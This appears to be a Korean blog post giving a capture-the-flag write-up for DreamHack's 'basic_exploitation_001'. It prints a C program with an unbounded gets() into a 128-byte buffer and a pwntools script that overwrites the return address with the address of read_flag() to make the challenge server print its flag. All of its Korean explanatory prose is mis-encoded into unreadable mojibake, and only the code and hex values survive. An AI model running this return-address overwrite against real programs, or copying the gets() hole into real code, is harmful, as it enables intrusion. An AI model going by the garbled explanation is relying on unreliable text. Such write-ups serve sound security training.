๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/DreamHack

DreamHack - basic_exploitation_001 ํ’€์ด

by Janger 2023. 4. 25.
728x90
๋ฐ˜์‘ํ˜•

 

checksec์œผ๋กœ ํŒŒ์ผ ๋ณดํ˜ธ ๊ธฐ๋ฒ•๋“ค ํ™•์ธ

 

NX(No-eXecute) ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ, ์‰˜ ์ฝ”๋“œ๋Š” ์‹คํ–‰๋˜์ง€ ์•Š์ง€๋งŒ, Stack Canary๊ฐ€ ํ™œ์„ฑํ™”๋˜์ง€ ์•Š์€ ๊ฒƒ์œผ๋กœ ๋ณด์•„ Return Address Overwrite์— ์ทจ์•ฝํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. 

 

 

basic_exploitation_001.c ๋ถ„์„
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

๋ฌธ์ œ์—์„œ ์ œ๊ณตํ•˜๋Š” ์†Œ์Šค ํŒŒ์ผ์„ ๋ณด๋ฉด

์‚ฌ์šฉ์ž๋กœ๋ถ€ํ„ฐ 0x80(128 ๋ฐ”์ดํŠธ) ์‚ฌ์ด์ฆˆ ๋งŒํผ ํ• ๋‹น๋œ buf ๋ณ€์ˆ˜์—๋‹ค gets ํ•จ์ˆ˜๋กœ ์ž…๋ ฅ์„ ๋ฐ›๋Š”๋‹ค. 

read_flag()๋ผ๋Š” ํ”Œ๋ž˜๊ทธ ํŒŒ์ผ์„ ์ฝ๋Š” ํ•จ์ˆ˜๊ฐ€ ์กด์žฌํ•˜๋Š”๋ฐ main ํ•จ์ˆ˜์—์„œ ํ˜ธ์ถœํ•˜์ง€ ์•Š๊ณ  ์žˆ๋‹ค. 

 

128 ๋ฐ”์ดํŠธ ํฌ๊ธฐ buf + SFP (4 ๋ฐ”์ดํŠธ) + RET (4 ๋ฐ”์ดํŠธ)์— ๋”ฐ๋ผ์„œ buf๋Š” '\90'์„ 132๊ฐœ๋ฅผ ์ฑ„์šฐ๊ณ  ๋‚˜๋จธ์ง€ 4๋ฐ”์ดํŠธ๋Š” read_flag ํ•จ์ˆ˜์˜ ์œ„์น˜๋ฅผ ์ ์–ด์ฃผ๋ฉด main ํ•จ์ˆ˜๊ฐ€ ๋๋‚  ๋•Œ ์›ํ•˜๋Š” ์œ„์น˜๋กœ ์ด๋™์„ ํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

gdb๋กœ read_flag() ์ฃผ์†Œ ์ฐพ๊ธฐ

 

gdb๋กœ ์‹คํ–‰ ํŒŒ์ผ์˜ ํ•จ์ˆ˜ ์ด๋ฆ„๊ณผ ๊ทธ ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด์„œ๋Š” info functions๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ๋œ๋‹ค. 

 

read_flag ์ฃผ์†Œ๋Š” "0x080485b9"์ด๋‹ค. 

 

 

pwntools๋กœ ํŽ˜์ด๋กœ๋“œ ์ž‘์„ฑ

์œ„ ์ •๋ณด๋ฅผ ํ† ๋Œ€๋กœ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ƒ์„ฑํ•ด ๋“œ๋ฆผํ•ต์˜ ์„œ๋ฒ„๋กœ ์ „์†กํ•˜์—ฌ ํ”Œ๋ž˜๊ทธ๋ฅผ ์ฝ๋Š” ํŒŒ์ด์ฌ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•ด๋ณด์•˜๋‹ค. 

 

from pwn import *

rem = remote('host2.dreamhack.games', 17814)

payload = b"\x90"*132
payload += p32(0x080485B9)

rem.sendline(payload)
rem.interactive()

 

payload = b"\x90" * 132 <- \x90(NOP: No Operation)์œผ๋กœ 132 ๋ฐ”์ดํŠธ๋ฅผ ์ฑ„์›€

payload += p32(0x080485B9) <- p32๋Š” 32bit little endian์œผ๋กœ packing ํ•˜๋Š” ํ•จ์ˆ˜์ด๋‹ค. 

 

 

์ฐธ๊ณ : 

https://lclang.tistory.com/90

 

Pwntools ๊ธฐ๋ณธ์ ์ธ ์‚ฌ์šฉ๋ฒ• - 2

์ด๋ฒˆ์—๋Š” ์ต์Šคํ•  ๋•Œ ์ฃผ๋กœ ์‚ฌ์šฉํ•˜๋Š”๊ฒƒ์„ ์จ๋ณผ๊ฒ๋‹ˆ๋‹ค ๋จผ์ € ํŒจํ‚น ๊ด€๋ จ ํ•จ์ˆ˜๋“ค ์ž…๋‹ˆ๋‹ค. 1. packing 1-1. p32 32bit little endian ์œผ๋กœ packing ํ•ด์ฃผ๋Š” ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค. p32(int) / return str ex ) p32(0x12345678) => \x78\x56\x34\x12

lclang.tistory.com

 

 

FLAG ํš๋“

 

์ž‘์„ฑํ•œ ํŒŒ์ผ์„ ์‹คํ–‰ํ•˜๊ฒŒ ๋˜๋ฉด ํ”Œ๋ž˜๊ทธ ํš๋“์— ์„ฑ๊ณตํ•˜๊ฒŒ ๋œ๋‹ค. 

 

 

 

728x90
๋ฐ˜์‘ํ˜•